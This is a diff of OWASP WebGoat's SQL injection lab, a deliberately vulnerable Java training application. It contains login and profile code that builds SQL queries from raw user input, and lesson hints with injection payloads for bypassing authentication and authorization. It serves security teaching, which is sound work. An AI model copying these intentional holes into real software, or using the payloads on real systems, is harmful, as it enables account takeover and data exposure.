String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles WHERE employee.userid=roles.userid and employee.userid in "
+ "(SELECT employee_id FROM ownership WHERE employer_id = " + userId + ")";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
{
int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
// System.out.println("Retrieving employee stub for role " + role);
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub);
}
} catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
}
return employees;
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.SQLInjection; package org.owasp.webgoat.lessons.SQLInjection;
import java.sql.ResultSet; import java.sql.ResultSet;
@ -5,7 +6,6 @@ import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import java.util.List; import java.util.List;
import java.util.Vector; import java.util.Vector;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.LessonAction;
@ -16,282 +16,243 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class Login extends DefaultLessonAction public class Login extends DefaultLessonAction
{ {
private LessonAction chainedAction; private LessonAction chainedAction;
public Login(GoatHillsFinancial lesson, String lessonName, String actionName, LessonAction chainedAction)
public Login(GoatHillsFinancial lesson, String lessonName, String actionName,
LessonAction chainedAction)
{
super(lesson, lessonName, actionName);
this.chainedAction = chainedAction;
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
ValidationException
{
//System.out.println("Login.handleRequest()");
getLesson().setCurrentAction(s, getActionName());
List employees = getAllEmployees(s);
setSessionAttribute(s, getLessonName() + "."
+ SQLInjection.STAFF_ATTRIBUTE_KEY, employees);
String employeeId = null;
try
{ {
employeeId = s.getParser().getStringParameter( super(lesson, lessonName, actionName);
SQLInjection.EMPLOYEE_ID); this.chainedAction = chainedAction;
String password = s.getParser().getRawParameter( }
SQLInjection.PASSWORD);
// Attempt authentication public void handleRequest(WebSession s) throws ParameterNotFoundException, ValidationException
boolean authenticated = login(s, employeeId, password); {
// System.out.println("Login.handleRequest()");
getLesson().setCurrentAction(s, getActionName());
updateLessonStatus(s); List employees = getAllEmployees(s);
setSessionAttribute(s, getLessonName() + "." + SQLInjection.STAFF_ATTRIBUTE_KEY, employees);
if (authenticated) String employeeId = null;
{
// Execute the chained Action if authentication succeeded.
try try
{ {
chainedAction.handleRequest(s); employeeId = s.getParser().getStringParameter(SQLInjection.EMPLOYEE_ID);
} String password = s.getParser().getRawParameter(SQLInjection.PASSWORD);
catch (UnauthenticatedException ue1)
// Attempt authentication
boolean authenticated = login(s, employeeId, password);
updateLessonStatus(s);
if (authenticated)
{
// Execute the chained Action if authentication succeeded.
try
{
chainedAction.handleRequest(s);
} catch (UnauthenticatedException ue1)
{
System.out.println("Internal server error");
ue1.printStackTrace();
} catch (UnauthorizedException ue2)
{
System.out.println("Internal server error");
ue2.printStackTrace();
}
}
else
s.setMessage("Login failed");
} catch (ParameterNotFoundException pnfe)
{ {
System.out.println("Internal server error"); // No credentials offered, so we log them out
ue1.printStackTrace(); setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.FALSE);
} }
catch (UnauthorizedException ue2) }
public String getNextPage(WebSession s)
{
String nextPage = SQLInjection.LOGIN_ACTION;
if (isAuthenticated(s)) nextPage = chainedAction.getNextPage(s);
return nextPage;
}
public boolean requiresAuthentication()
{
return false;
}
public boolean login(WebSession s, String userId, String password)
{
// System.out.println("Logging in to lesson");
boolean authenticated = false;
try
{ {
System.out.println("Internal server error"); String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'";
ue2.printStackTrace(); // System.out.println("Query:" + query);
} try
} {
else Statement answer_statement = WebSession.getConnection(s)
s.setMessage("Login failed"); .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
} if (answer_results.first())
catch (ParameterNotFoundException pnfe) {
{ setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
// No credentials offered, so we log them out setSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID, userId);
setSessionAttribute(s, getLessonName() + ".isAuthenticated", authenticated = true;
Boolean.FALSE); }
} } catch (SQLException sqle)
} {
s.setMessage("Error logging in");
sqle.printStackTrace();
public String getNextPage(WebSession s) }
{ } catch (Exception e)
String nextPage = SQLInjection.LOGIN_ACTION;
if (isAuthenticated(s))
nextPage = chainedAction.getNextPage(s);
return nextPage;
}
public boolean requiresAuthentication()
{
return false;
}
public boolean login(WebSession s, String userId, String password)
{
//System.out.println("Logging in to lesson");
boolean authenticated = false;
try
{
String query = "SELECT * FROM employee WHERE userid = " + userId
+ " and password = '" + password + "'";
//System.out.println("Query:" + query);
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first())
{ {
setSessionAttribute(s, s.setMessage("Error logging in");
getLessonName() + ".isAuthenticated", Boolean.TRUE); e.printStackTrace();
setSessionAttribute(s, getLessonName() + "."
+ SQLInjection.USER_ID, userId);
authenticated = true;
} }
}
catch (SQLException sqle) // System.out.println("Lesson login result: " + authenticated);
{ return authenticated;
s.setMessage("Error logging in");
sqle.printStackTrace();
}
}
catch (Exception e)
{
s.setMessage("Error logging in");
e.printStackTrace();
} }
//System.out.println("Lesson login result: " + authenticated); public boolean login_BACKUP(WebSession s, String userId, String password)
return authenticated;
}
public boolean login_BACKUP(WebSession s, String userId, String password)
{
//System.out.println("Logging in to lesson");
boolean authenticated = false;
try
{ {
String query = "SELECT * FROM employee WHERE userid = " + userId // System.out.println("Logging in to lesson");
+ " and password = '" + password + "'"; boolean authenticated = false;
//System.out.println("Query:" + query);
try try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first())
{ {
setSessionAttribute(s, String query = "SELECT * FROM employee WHERE userid = " + userId + " and password = '" + password + "'";
getLessonName() + ".isAuthenticated", Boolean.TRUE); // System.out.println("Query:" + query);
setSessionAttribute(s, getLessonName() + "." try
+ SQLInjection.USER_ID, userId); {
authenticated = true; Statement answer_statement = WebSession.getConnection(s)
} .createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.first())
{
setSessionAttribute(s, getLessonName() + ".isAuthenticated", Boolean.TRUE);
setSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID, userId);
authenticated = true;
}
} } catch (SQLException sqle)
catch (SQLException sqle) {
{ s.setMessage("Error logging in");
s.setMessage("Error logging in"); sqle.printStackTrace();
sqle.printStackTrace(); }
} } catch (Exception e)
}
catch (Exception e)
{
s.setMessage("Error logging in");
e.printStackTrace();
}
//System.out.println("Lesson login result: " + authenticated);
return authenticated;
}
public List getAllEmployees(WebSession s)
{
List<EmployeeStub> employees = new Vector<EmployeeStub>();
// Query the database for all roles the given employee belongs to
// Query the database for all employees "owned" by these roles
try
{
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles "
+ "where employee.userid=roles.userid";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
{ {
int employeeId = answer_results.getInt("userid"); s.setMessage("Error logging in");
String firstName = answer_results.getString("first_name"); e.printStackTrace();
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName,
lastName, role);
employees.add(stub);
} }
}
catch (SQLException sqle) // System.out.println("Lesson login result: " + authenticated);
{ return authenticated;
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
} }
catch (Exception e)
public List getAllEmployees(WebSession s)
{ {
s.setMessage("Error getting employees"); List<EmployeeStub> employees = new Vector<EmployeeStub>();
e.printStackTrace();
// Query the database for all roles the given employee belongs to
// Query the database for all employees "owned" by these roles
try
{
String query = "SELECT employee.userid,first_name,last_name,role FROM employee,roles "
+ "where employee.userid=roles.userid";
try
{
Statement answer_statement = WebSession.getConnection(s)
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE, ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
answer_results.beforeFirst();
while (answer_results.next())
{
int employeeId = answer_results.getInt("userid");
String firstName = answer_results.getString("first_name");
String lastName = answer_results.getString("last_name");
String role = answer_results.getString("role");
EmployeeStub stub = new EmployeeStub(employeeId, firstName, lastName, role);
employees.add(stub);
}
} catch (SQLException sqle)
{
s.setMessage("Error getting employees");
sqle.printStackTrace();
}
} catch (Exception e)
{
s.setMessage("Error getting employees");
e.printStackTrace();
}
return employees;
} }
return employees; private void updateLessonStatus(WebSession s)
}
private void updateLessonStatus(WebSession s)
{
try
{ {
String employeeId = s.getParser().getStringParameter( try
SQLInjection.EMPLOYEE_ID); {
String password = s.getParser().getRawParameter( String employeeId = s.getParser().getStringParameter(SQLInjection.EMPLOYEE_ID);
SQLInjection.PASSWORD); String password = s.getParser().getRawParameter(SQLInjection.PASSWORD);
String stage = getStage(s); String stage = getStage(s);
if (SQLInjection.STAGE1.equals(stage)) if (SQLInjection.STAGE1.equals(stage))
{ {
if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID && isAuthenticated(s))
&& isAuthenticated(s)) {
{ setStageComplete(s, SQLInjection.STAGE1);
setStageComplete(s, SQLInjection.STAGE1); }
} }
} else if (SQLInjection.STAGE2.equals(stage))
else if (SQLInjection.STAGE2.equals(stage)) {
{ // This assumes the student hasn't modified login_BACKUP().
// This assumes the student hasn't modified login_BACKUP(). if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID && !isAuthenticated(s)
if (Integer.parseInt(employeeId) == SQLInjection.PRIZE_EMPLOYEE_ID && login_BACKUP(s, employeeId, password))
&& !isAuthenticated(s) {
&& login_BACKUP(s, employeeId, password)) setStageComplete(s, SQLInjection.STAGE2);
{ }
setStageComplete(s, SQLInjection.STAGE2); }
} } catch (ParameterNotFoundException pnfe)
} {
}
} }
catch (ParameterNotFoundException pnfe)
{}
}
} }

View File

@ -1,3 +1,4 @@
package org.owasp.webgoat.lessons.SQLInjection; package org.owasp.webgoat.lessons.SQLInjection;
import java.util.ArrayList; import java.util.ArrayList;
@ -18,249 +19,230 @@ import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.ValidationException; import org.owasp.webgoat.session.ValidationException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class SQLInjection extends GoatHillsFinancial public class SQLInjection extends GoatHillsFinancial
{ {
private final static Integer DEFAULT_RANKING = new Integer(75); private final static Integer DEFAULT_RANKING = new Integer(75);
public final static int PRIZE_EMPLOYEE_ID = 112; public final static int PRIZE_EMPLOYEE_ID = 112;
public final static String PRIZE_EMPLOYEE_NAME = "Neville Bartholomew"; public final static String PRIZE_EMPLOYEE_NAME = "Neville Bartholomew";
public final static String STAGE1 = "String SQL Injection"; public final static String STAGE1 = "String SQL Injection";
public final static String STAGE2 = "Parameterized Query #1"; public final static String STAGE2 = "Parameterized Query #1";
public final static String STAGE3 = "Numeric SQL Injection"; public final static String STAGE3 = "Numeric SQL Injection";
public final static String STAGE4 = "Parameterized Query #2"; public final static String STAGE4 = "Parameterized Query #2";
public void registerActions(String className) public void registerActions(String className)
{ {
registerAction(new ListStaff(this, className, LISTSTAFF_ACTION)); registerAction(new ListStaff(this, className, LISTSTAFF_ACTION));
registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION)); registerAction(new SearchStaff(this, className, SEARCHSTAFF_ACTION));
registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION)); registerAction(new ViewProfile(this, className, VIEWPROFILE_ACTION));
registerAction(new EditProfile(this, className, EDITPROFILE_ACTION)); registerAction(new EditProfile(this, className, EDITPROFILE_ACTION));
registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION)); registerAction(new EditProfile(this, className, CREATEPROFILE_ACTION));
// These actions are special in that they chain to other actions. // These actions are special in that they chain to other actions.
registerAction(new Login(this, className, LOGIN_ACTION, registerAction(new Login(this, className, LOGIN_ACTION, getAction(LISTSTAFF_ACTION)));
getAction(LISTSTAFF_ACTION))); registerAction(new Logout(this, className, LOGOUT_ACTION, getAction(LOGIN_ACTION)));
registerAction(new Logout(this, className, LOGOUT_ACTION, registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
getAction(LOGIN_ACTION))); registerAction(new UpdateProfile(this, className, UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new FindProfile(this, className, FINDPROFILE_ACTION, registerAction(new DeleteProfile(this, className, DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
getAction(VIEWPROFILE_ACTION)));
registerAction(new UpdateProfile(this, className,
UPDATEPROFILE_ACTION, getAction(VIEWPROFILE_ACTION)));
registerAction(new DeleteProfile(this, className,
DELETEPROFILE_ACTION, getAction(LISTSTAFF_ACTION)));
}
/**
* Gets the category attribute of the CrossSiteScripting object
*
* @return The category value
*/
public Category getDefaultCategory()
{
return Category.INJECTION;
}
/**
* Gets the hints attribute of the DirectoryScreen object
*
* @return The hints value
*/
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints
.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints
.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM employee WHERE userid = \" + userId + \" and password = \" + password");
hints
.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Try appending a SQL statement that always resolves to true");
// Stage 1
hints
.add("You may need to use WebScarab to remove a field length limit to fit your attack.");
hints.add("Try entering a password of [ smith' OR '1' = '1 ].");
// Stage 2
hints
.add("Many of WebGoat's database queries are already parameterized. Search the project for PreparedStatement.");
// Stage 3
hints
.add("Try entering an employee_id of [ 101 OR 1=1 ORDER BY 'salary' ].");
// Stage 4
return hints;
}
@Override
public String[] getStages() {
if (getWebgoatContext().isCodingExercises())
return new String[] {STAGE1, STAGE2, STAGE3, STAGE4};
return new String[] {STAGE1, STAGE3};
} }
/** /**
* Gets the instructions attribute of the ParameterInjection object * Gets the category attribute of the CrossSiteScripting object
* *
* @return The instructions value * @return The category value
*/ */
public String getInstructions(WebSession s) public Category getDefaultCategory()
{
String instructions = "";
if (!getLessonTracker(s).getCompleted())
{ {
String stage = getStage(s); return Category.INJECTION;
if (STAGE1.equals(stage)) }
{
instructions = "Stage 1: Use String SQL Injection to bypass authentication. " /**
+ "Use SQL injection to log in as the boss ('Neville') without using the correct password. " * Gets the hints attribute of the DirectoryScreen object
+ "Verify that Neville's profile can be viewed and that all functions are available (including Search, Create, and Delete)."; *
} * @return The hints value
else if (STAGE2.equals(stage)) */
protected List<String> getHints(WebSession s)
{
List<String> hints = new ArrayList<String>();
hints.add("The application is taking your input and inserting it at the end of a pre-formed SQL command.");
hints.add("This is the code for the query being built and issued by WebGoat:<br><br> "
+ "\"SELECT * FROM employee WHERE userid = \" + userId + \" and password = \" + password");
hints.add("Compound SQL statements can be made by joining multiple tests with keywords like AND and OR. "
+ "Try appending a SQL statement that always resolves to true");
// Stage 1
hints.add("You may need to use WebScarab to remove a field length limit to fit your attack.");
hints.add("Try entering a password of [ smith' OR '1' = '1 ].");
// Stage 2
hints
.add("Many of WebGoat's database queries are already parameterized. Search the project for PreparedStatement.");
// Stage 3
hints.add("Try entering an employee_id of [ 101 OR 1=1 ORDER BY 'salary' ].");
// Stage 4
return hints;
}
@Override
public String[] getStages()
{
if (getWebgoatContext().isCodingExercises()) return new String[] { STAGE1, STAGE2, STAGE3, STAGE4 };
return new String[] { STAGE1, STAGE3 };
}
/**
* Gets the instructions attribute of the ParameterInjection object
*
* @return The instructions value
*/
public String getInstructions(WebSession s)
{
String instructions = "";
if (!getLessonTracker(s).getCompleted())
{ {
instructions = "Stage 2: Block SQL Injection using a Parameterized Query.<br>" String stage = getStage(s);
+ "Implement a fix to block SQL injection into the fields in question on the Login page. " if (STAGE1.equals(stage))
+ "Repeat stage 1. Verify that the attack is no longer effective."; {
instructions = "Stage 1: Use String SQL Injection to bypass authentication. "
+ "Use SQL injection to log in as the boss ('Neville') without using the correct password. "
+ "Verify that Neville's profile can be viewed and that all functions are available (including Search, Create, and Delete).";
}
else if (STAGE2.equals(stage))
{
instructions = "Stage 2: Block SQL Injection using a Parameterized Query.<br>"
+ "Implement a fix to block SQL injection into the fields in question on the Login page. "
+ "Repeat stage 1. Verify that the attack is no longer effective.";
}
else if (STAGE3.equals(stage))
{
instructions = "Stage 3: Execute SQL Injection to bypass authorization.<br>"
+ "As regular employee 'Larry', use SQL injection into a parameter of the View function "
+ "(from the List Staff page) to view the profile of the boss ('Neville').";
}
else if (STAGE4.equals(stage))
{
instructions = "Stage 4: Block SQL Injection using a Parameterized Query.<br>"
+ "Implement a fix to block SQL injection into the relevant parameter. "
+ "Repeat stage 3. Verify that access to Neville's profile is properly blocked.";
}
} }
else if (STAGE3.equals(stage))
return instructions;
}
public void handleRequest(WebSession s)
{
if (s.getLessonSession(this) == null) s.openLessonSession(this);
String requestedActionName = null;
try
{ {
instructions = "Stage 3: Execute SQL Injection to bypass authorization.<br>" requestedActionName = s.getParser().getStringParameter("action");
+ "As regular employee 'Larry', use SQL injection into a parameter of the View function " } catch (ParameterNotFoundException pnfe)
+ "(from the List Staff page) to view the profile of the boss ('Neville')."; {
// Let them eat login page.
requestedActionName = LOGIN_ACTION;
} }
else if (STAGE4.equals(stage))
if (requestedActionName != null)
{ {
instructions = "Stage 4: Block SQL Injection using a Parameterized Query.<br>" try
+ "Implement a fix to block SQL injection into the relevant parameter. " {
+ "Repeat stage 3. Verify that access to Neville's profile is properly blocked."; LessonAction action = getAction(requestedActionName);
} if (action != null)
} {
// System.out.println("CrossSiteScripting.handleRequest() dispatching to: " +
return instructions; // action.getActionName());
} if (!action.requiresAuthentication() || action.isAuthenticated(s))
{
public void handleRequest(WebSession s) action.handleRequest(s);
{ // setCurrentAction(s, action.getNextPage(s));
if (s.getLessonSession(this) == null) }
s.openLessonSession(this); }
else
String requestedActionName = null; setCurrentAction(s, ERROR_ACTION);
try } catch (ParameterNotFoundException pnfe)
{ {
requestedActionName = s.getParser().getStringParameter("action"); System.out.println("Missing parameter");
} pnfe.printStackTrace();
catch (ParameterNotFoundException pnfe) setCurrentAction(s, ERROR_ACTION);
{ } catch (ValidationException ve)
// Let them eat login page. {
requestedActionName = LOGIN_ACTION; System.out.println("Validation failed");
} ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
if (requestedActionName != null) } catch (UnauthenticatedException ue)
{ {
try s.setMessage("Login failed");
{ System.out.println("Authentication failure");
LessonAction action = getAction(requestedActionName); ue.printStackTrace();
if (action != null) } catch (UnauthorizedException ue2)
{ {
//System.out.println("CrossSiteScripting.handleRequest() dispatching to: " + action.getActionName()); s.setMessage("You are not authorized to perform this function");
if (!action.requiresAuthentication() System.out.println("Authorization failure");
|| action.isAuthenticated(s)) ue2.printStackTrace();
{ } catch (Exception e)
action.handleRequest(s); {
//setCurrentAction(s, action.getNextPage(s)); // All other errors send the user to the generic error page
} System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
} }
else
setCurrentAction(s, ERROR_ACTION); // All this does for this lesson is ensure that a non-null content exists.
} setContent(new ElementContainer());
catch (ParameterNotFoundException pnfe)
{
System.out.println("Missing parameter");
pnfe.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (ValidationException ve)
{
System.out.println("Validation failed");
ve.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
catch (UnauthenticatedException ue)
{
s.setMessage("Login failed");
System.out.println("Authentication failure");
ue.printStackTrace();
}
catch (UnauthorizedException ue2)
{
s.setMessage("You are not authorized to perform this function");
System.out.println("Authorization failure");
ue2.printStackTrace();
}
catch (Exception e)
{
// All other errors send the user to the generic error page
System.out.println("handleRequest() error");
e.printStackTrace();
setCurrentAction(s, ERROR_ACTION);
}
} }
// All this does for this lesson is ensure that a non-null content exists. protected Integer getDefaultRanking()
setContent(new ElementContainer()); {
} return DEFAULT_RANKING;
}
protected Integer getDefaultRanking() /**
{ * Gets the title attribute of the CrossSiteScripting object
return DEFAULT_RANKING; *
} * @return The title value
*/
public String getTitle()
/** {
* Gets the title attribute of the CrossSiteScripting object return "LAB: SQL Injection";
* }
* @return The title value
*/
public String getTitle()
{
return "LAB: SQL Injection";
}
} }

View File

@ -1,9 +1,9 @@
package org.owasp.webgoat.lessons.SQLInjection; package org.owasp.webgoat.lessons.SQLInjection;
import java.sql.ResultSet; import java.sql.ResultSet;
import java.sql.SQLException; import java.sql.SQLException;
import java.sql.Statement; import java.sql.Statement;
import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction; import org.owasp.webgoat.lessons.GoatHillsFinancial.DefaultLessonAction;
import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial; import org.owasp.webgoat.lessons.GoatHillsFinancial.GoatHillsFinancial;
import org.owasp.webgoat.session.Employee; import org.owasp.webgoat.session.Employee;
@ -12,257 +12,217 @@ import org.owasp.webgoat.session.UnauthenticatedException;
import org.owasp.webgoat.session.UnauthorizedException; import org.owasp.webgoat.session.UnauthorizedException;
import org.owasp.webgoat.session.WebSession; import org.owasp.webgoat.session.WebSession;
/*******************************************************************************
/***************************************************************************************************
* *
* *
* This file is part of WebGoat, an Open Web Application Security Project * This file is part of WebGoat, an Open Web Application Security Project utility. For details,
* utility. For details, please see http://www.owasp.org/ * please see http://www.owasp.org/
* *
* Copyright (c) 2002 - 2007 Bruce Mayhew * Copyright (c) 2002 - 2007 Bruce Mayhew
* *
* This program is free software; you can redistribute it and/or modify it under * This program is free software; you can redistribute it and/or modify it under the terms of the
* the terms of the GNU General Public License as published by the Free Software * GNU General Public License as published by the Free Software Foundation; either version 2 of the
* Foundation; either version 2 of the License, or (at your option) any later * License, or (at your option) any later version.
* version.
* *
* This program is distributed in the hope that it will be useful, but WITHOUT * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without
* ANY WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS * even the implied warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU
* FOR A PARTICULAR PURPOSE. See the GNU General Public License for more * General Public License for more details.
* details.
* *
* You should have received a copy of the GNU General Public License along with * You should have received a copy of the GNU General Public License along with this program; if
* this program; if not, write to the Free Software Foundation, Inc., 59 Temple * not, write to the Free Software Foundation, Inc., 59 Temple Place - Suite 330, Boston, MA
* Place - Suite 330, Boston, MA 02111-1307, USA. * 02111-1307, USA.
* *
* Getting Source ============== * Getting Source ==============
* *
* Source for this application is maintained at code.google.com, a repository * Source for this application is maintained at code.google.com, a repository for free software
* for free software projects. * projects.
* *
* For details, please see http://code.google.com/p/webgoat/ * For details, please see http://code.google.com/p/webgoat/
*/ */
public class ViewProfile extends DefaultLessonAction public class ViewProfile extends DefaultLessonAction
{ {
public ViewProfile(GoatHillsFinancial lesson, String lessonName, public ViewProfile(GoatHillsFinancial lesson, String lessonName, String actionName)
String actionName)
{
super(lesson, lessonName, actionName);
}
public void handleRequest(WebSession s) throws ParameterNotFoundException,
UnauthenticatedException, UnauthorizedException
{
getLesson().setCurrentAction(s, getActionName());
Employee employee = null;
if (isAuthenticated(s))
{ {
String userId = getSessionAttribute(s, getLessonName() + "." super(lesson, lessonName, actionName);
+ SQLInjection.USER_ID);
String employeeId = null;
try
{
// User selected employee
employeeId = s.getParser().getRawParameter(
SQLInjection.EMPLOYEE_ID);
}
catch (ParameterNotFoundException e)
{
// May be an internally selected employee
employeeId = getRequestAttribute(s, getLessonName() + "."
+ SQLInjection.EMPLOYEE_ID);
}
// FIXME: If this fails and returns null, ViewProfile.jsp will blow up as it expects an Employee.
// Most other JSP's can handle null session attributes.
employee = getEmployeeProfile(s, userId, employeeId);
// If employee==null redirect to the error page.
if (employee == null)
getLesson().setCurrentAction(s, SQLInjection.ERROR_ACTION);
else
setSessionAttribute(s, getLessonName() + "."
+ SQLInjection.EMPLOYEE_ATTRIBUTE_KEY, employee);
} }
else
throw new UnauthenticatedException();
updateLessonStatus(s, employee); public void handleRequest(WebSession s) throws ParameterNotFoundException, UnauthenticatedException,
} UnauthorizedException
public String getNextPage(WebSession s)
{
return SQLInjection.VIEWPROFILE_ACTION;
}
public Employee getEmployeeProfile(WebSession s, String userId,
String subjectUserId) throws UnauthorizedException
{
Employee profile = null;
// Query the database for the profile data of the given employee
try
{ {
String query = "SELECT employee.* " + getLesson().setCurrentAction(s, getActionName());
"FROM employee,ownership WHERE employee.userid = ownership.employee_id and " +
"ownership.employer_id = " + userId + " and ownership.employee_id = " + subjectUserId;
try Employee employee = null;
{
Statement answer_statement = WebSession.getConnection(s) if (isAuthenticated(s))
.createStatement(ResultSet.TYPE_SCROLL_INSENSITIVE,
ResultSet.CONCUR_READ_ONLY);
ResultSet answer_results = answer_statement.executeQuery(query);
if (answer_results.next())
{ {
// Note: Do NOT get the password field. String userId = getSessionAttribute(s, getLessonName() + "." + SQLInjection.USER_ID);
